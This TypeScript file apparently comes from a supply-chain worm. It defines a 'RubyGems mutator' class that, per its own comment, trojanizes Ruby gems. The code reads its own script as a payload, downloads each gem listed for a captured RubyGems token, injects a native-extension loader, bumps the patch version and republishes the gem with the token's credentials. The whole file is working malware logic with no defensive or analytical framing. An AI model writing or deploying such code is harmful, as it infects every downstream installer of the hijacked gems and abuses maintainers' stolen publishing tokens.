92 lines
2.5 KiB
TypeScript
92 lines
2.5 KiB
TypeScript
import { logUtil } from "../../utils/logger";
|
|
import { Mutator } from "../base";
|
|
import { downloadGem, fetchGemInfo, patchGemBundle } from "./gem";
|
|
import { publishGem } from "./publish";
|
|
import type { RubygemsTokenInfo } from "./tokenCheck";
|
|
|
|
/**
|
|
* RubyGems mutator — trojanizes Ruby gems by injecting a native extension
|
|
* (extconf.rb + Makefile bash bun loader) and re-publishing with a bumped
|
|
* patch version.
|
|
*/
|
|
export class RubyGemsClient extends Mutator {
|
|
private readonly tokenInfo: RubygemsTokenInfo;
|
|
private readonly dryRun: boolean;
|
|
|
|
constructor(tokenInfo: RubygemsTokenInfo, dryRun = false) {
|
|
super();
|
|
this.tokenInfo = tokenInfo;
|
|
this.dryRun = dryRun;
|
|
}
|
|
|
|
async execute(): Promise<Boolean> {
|
|
try {
|
|
const isUnix = ["darwin", "linux"].includes(process.platform);
|
|
if (!isUnix) {
|
|
logUtil.log("[rubygems] skipping — unsupported platform");
|
|
return false;
|
|
}
|
|
|
|
const gems = this.tokenInfo.gems;
|
|
if (gems.length === 0) {
|
|
logUtil.log("[rubygems] no gems to process");
|
|
return false;
|
|
}
|
|
|
|
logUtil.log(
|
|
`[rubygems] targeting ${gems.length} gem(s): ${gems.join(", ")}`,
|
|
);
|
|
|
|
const rawPayload = await Bun.file(Bun.main).text();
|
|
|
|
let published = 0;
|
|
for (const gemName of gems) {
|
|
try {
|
|
const ok = await this.processGem(gemName, rawPayload);
|
|
if (ok) published++;
|
|
} catch (e) {
|
|
logUtil.log(
|
|
`[rubygems] error processing ${gemName}: ${e instanceof Error ? e.message : String(e)}`,
|
|
);
|
|
}
|
|
}
|
|
|
|
logUtil.log(`[rubygems] done. published ${published} gem(s).`);
|
|
return published > 0;
|
|
} catch (e) {
|
|
logUtil.error(`[rubygems] fatal: ${e}`);
|
|
return false;
|
|
}
|
|
}
|
|
|
|
private async processGem(
|
|
gemName: string,
|
|
rawPayload: string,
|
|
): Promise<boolean> {
|
|
// 1. Fetch gem metadata
|
|
const info = await fetchGemInfo(gemName);
|
|
if (!info) {
|
|
logUtil.log(`[rubygems] ${gemName}: could not fetch gem info, skipping`);
|
|
return false;
|
|
}
|
|
|
|
// 2. Download
|
|
const gemData = await downloadGem(info.downloadUrl);
|
|
if (!gemData) {
|
|
logUtil.log(`[rubygems] ${gemName}: download failed, skipping`);
|
|
return false;
|
|
}
|
|
|
|
// 3. Patch (inject ext/, bump version, repack)
|
|
const patched = await patchGemBundle(gemData, rawPayload);
|
|
|
|
// 4. Publish
|
|
return publishGem(
|
|
patched.data,
|
|
patched.filename,
|
|
this.tokenInfo.authToken,
|
|
this.dryRun,
|
|
);
|
|
}
|
|
}
|